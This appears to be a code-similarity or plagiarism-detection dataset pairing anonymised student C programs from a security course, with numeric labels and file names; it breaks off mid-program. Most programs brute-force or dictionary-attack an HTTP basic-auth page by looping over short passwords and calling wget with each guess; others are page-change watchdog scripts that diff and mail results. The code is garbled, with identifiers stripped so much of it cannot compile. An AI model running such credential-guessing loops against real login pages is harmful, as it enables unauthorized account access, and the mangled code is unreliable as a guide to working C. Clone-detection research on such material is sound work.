#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
031.c
026.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
031.c
067.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
031.c
024.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
031.c
009.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
059.c
043.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
059.c
014.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
059.c
050.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
059.c
016.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
059.c
007.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
059.c
054.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
059.c
021.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
059.c
030.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char 